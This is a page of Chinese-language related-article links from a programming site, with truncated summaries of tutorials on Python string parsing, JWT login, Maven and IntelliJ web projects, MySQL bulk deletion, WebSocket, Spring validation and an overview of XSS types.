http://www.chinasem.cn/article/741628

相关文章

一文详解如何在Python中从字符串中提取部分内容

《一文详解如何在Python中从字符串中提取部分内容》:本文主要介绍如何在Python中从字符串中提取部分内容的相关资料,包括使用正则表达式、Pyparsing库、AST(抽象语法树)、字符串操作... 目录前言解决方案方法一:使用正则表达式方法二:使用 Pyparsing方法三:使用 AST方法四:使用字

JSON Web Token在登陆中的使用过程

《JSONWebToken在登陆中的使用过程》:本文主要介绍JSONWebToken在登陆中的使用过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录JWT 介绍微服务架构中的 JWT 使用结合微服务网关的 JWT 验证1. 用户登录,生成 JWT2. 自定义过滤

一文教你如何将maven项目转成web项目

《一文教你如何将maven项目转成web项目》在软件开发过程中,有时我们需要将一个普通的Maven项目转换为Web项目,以便能够部署到Web容器中运行,本文将详细介绍如何通过简单的步骤完成这一转换过程... 目录准备工作步骤一:修改​​pom.XML​​1.1 添加​​packaging​​标签1.2 添加

Mysql删除几亿条数据表中的部分数据的方法实现

《Mysql删除几亿条数据表中的部分数据的方法实现》在MySQL中删除一个大表中的数据时,需要特别注意操作的性能和对系统的影响,本文主要介绍了Mysql删除几亿条数据表中的部分数据的方法实现,具有一定... 目录1、需求2、方案1. 使用 DELETE 语句分批删除2. 使用 INPLACE ALTER T

web网络安全之跨站脚本攻击(XSS)详解

《web网络安全之跨站脚本攻击(XSS)详解》:本文主要介绍web网络安全之跨站脚本攻击(XSS)的相关资料,跨站脚本攻击XSS是一种常见的Web安全漏洞,攻击者通过注入恶意脚本诱使用户执行,可能... 目录前言XSS 的类型1. 存储型 XSS(Stored XSS)示例:危害:2. 反射型 XSS(Re

解决JavaWeb-file.isDirectory()遇到的坑问题

《解决JavaWeb-file.isDirectory()遇到的坑问题》JavaWeb开发中,使用`file.isDirectory()`判断路径是否为文件夹时,需要特别注意:该方法只能判断已存在的文... 目录Jahttp://www.chinasem.cnvaWeb-file.isDirectory()遇

JavaWeb-WebSocket浏览器服务器双向通信方式

《JavaWeb-WebSocket浏览器服务器双向通信方式》文章介绍了WebSocket协议的工作原理和应用场景,包括与HTTP的对比,接着,详细介绍了如何在Java中使用WebSocket,包括配... 目录一、概述二、入门2.1 POM依赖2.2 编写配置类2.3 编写WebSocket服务2.4 浏

Spring常见错误之Web嵌套对象校验失效解决办法

《Spring常见错误之Web嵌套对象校验失效解决办法》:本文主要介绍Spring常见错误之Web嵌套对象校验失效解决的相关资料,通过在Phone对象上添加@Valid注解,问题得以解决,需要的朋... 目录问题复现案例解析问题修正总结  问题复现当开发一个学籍管理系统时,我们会提供了一个 API 接口去

使用IntelliJ IDEA创建简单的Java Web项目完整步骤

《使用IntelliJIDEA创建简单的JavaWeb项目完整步骤》:本文主要介绍如何使用IntelliJIDEA创建一个简单的JavaWeb项目,实现登录、注册和查看用户列表功能,使用Se... 目录前置准备项目功能实现步骤1. 创建项目2. 配置 Tomcat3. 项目文件结构4. 创建数据库和表5.

手把手教你idea中创建一个javaweb(webapp)项目详细图文教程

《手把手教你idea中创建一个javaweb(webapp)项目详细图文教程》:本文主要介绍如何使用IntelliJIDEA创建一个Maven项目,并配置Tomcat服务器进行运行,过程包括创建... 1.启动idea2.创建项目模板点击项目-新建项目-选择maven,显示如下页面输入项目名称,选择